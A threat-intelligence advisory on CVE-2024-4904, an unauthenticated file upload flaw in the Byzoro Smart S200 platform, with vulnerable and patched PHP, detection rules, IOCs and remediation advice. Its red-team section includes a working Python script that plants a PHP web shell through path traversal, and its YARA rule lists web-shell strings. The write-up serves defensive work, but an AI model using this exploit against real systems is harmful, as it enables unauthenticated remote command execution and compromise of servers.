CVE-2024-4904

Executive Summary

CVE-2024-4904 is a critical unrestricted file upload vulnerability in Byzoro Smart S200 Management Platform (up to version 20240507). The flaw exists in /useratte/userattestation.php where the web_img argument is not properly sanitized, allowing remote attackers to upload arbitrary files (e.g., web shells) without authentication. Public exploit code has been released, and the vendor has not responded to disclosure attempts. This vulnerability enables full remote code execution, data exfiltration, and lateral movement within the network.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical – Immediate exploitation risk due to public PoC and no patch.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of /useratte/userattestation.php. The web_img parameter is used to specify the file path for an uploaded image. Due to insufficient validation, an attacker can manipulate this parameter to write arbitrary content (e.g., PHP web shells) to any writable directory on the server. The application does not check file extensions, MIME types, or content, allowing upload of executable scripts.

Attack Flow:

1. Attacker sends a POST request to /useratte/userattestation.php with a crafted web_img parameter pointing to a web-accessible directory (e.g., ../../uploads/shell.php).
2. The file content is sent as multipart form data.
3. The server writes the file to the specified path without validation.
4. Attacker accesses the uploaded file via HTTP, triggering code execution.

Root Cause: Lack of input sanitization and missing file type restrictions in the upload handler.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

<?php
// /useratte/userattestation.php
$target_path = $_POST['web_img'];
move_uploaded_file($_FILES['file']['tmp_name'], $target_path);
echo "File uploaded.";
?>

Patched Code (recommended):

<?php
// /useratte/userattestation.php
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$upload_dir = '/var/www/uploads/';
$file_ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_ext)) {
    die("Invalid file type.");
}
$target_path = $upload_dir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
    echo "File uploaded.";
} else {
    echo "Upload failed.";
}
?>

Patch Status: No official patch available. The vendor has not responded.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Python 3.x with requests library.
• Target IP with Smart S200 Management Platform.

Exploit Script:

import requests

target = "http://TARGET_IP"
shell_path = "/useratte/userattestation.php"
payload = '<?php system($_GET["cmd"]); ?>'
files = {'file': ('shell.php', payload, 'application/x-php')}
data = {'web_img': '../../var/www/html/shell.php'}

r = requests.post(target + shell_path, files=files, data=data)
if r.status_code == 200:
    print(f"Shell uploaded: {target}/shell.php?cmd=id")
else:
    print("Upload failed")

Usage:

1. Replace TARGET_IP with the victim's IP.
2. Run the script.
3. Access http://TARGET_IP/shell.php?cmd=id to execute commands.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /useratte/userattestation.php with unusual web_img parameters (e.g., path traversal sequences like ../).
2. Alert on file uploads with non-image extensions (e.g., .php, .asp, .jsp).
3. Check for unexpected files in web-accessible directories (e.g., /var/www/html/).

Response:

• Immediately isolate the affected server.
• Remove any unauthorized files.
• Apply virtual patching via WAF rules (see Detection Engineering).
• Conduct forensic analysis to determine if lateral movement occurred.

Indicators of Compromise (IOCs)

File Indicators:

• Suspicious files in web root: shell.php, cmd.php, backdoor.php
• Files with double extensions: image.php.jpg

Network Indicators:

• POST requests to /useratte/userattestation.php with web_img parameter containing ../
• Outbound connections from the server to unknown IPs on ports 80/443

Log Indicators:

• Apache/Nginx access logs showing POST /useratte/userattestation.php with 200 status
• PHP error logs: move_uploaded_file() warnings

Detection Engineering

YARA Rule

rule CVE_2024_4904_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-4904"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $php_shell = "<?php system($_GET[\"cmd\"]); ?>"
        $php_shell2 = "<?php exec($_REQUEST['cmd']); ?>"
        $php_shell3 = "<?php passthru($_POST['cmd']); ?>"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-4904 Unrestricted File Upload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-4904 via path traversal in web_img parameter
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/useratte/userattestation.php'
        cs-uri-query|contains: 'web_img=../'
    condition: selection
falsepositives:
    - Legitimate file uploads with path traversal (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4904 Unrestricted File Upload Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/useratte/userattestation.php"; http.client_body; content:"web_img"; content:"../"; distance:0; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the network.
2. Remove any unauthorized files from web directories.
3. Apply WAF rules to block path traversal and non-image file uploads.
4. Monitor logs for post-exploitation activity.

Long-Term Fix:

• Since no vendor patch exists, consider replacing the Smart S200 Management Platform with a supported alternative.
• Implement strict input validation and file type whitelisting in any custom code.
• Use a Web Application Firewall (WAF) with virtual patching.

Workaround:

• Disable the /useratte/userattestation.php endpoint if not required.
• Restrict write permissions on web directories to prevent file uploads.

Valters IT – DevSecOps & Cyber Threat Intelligence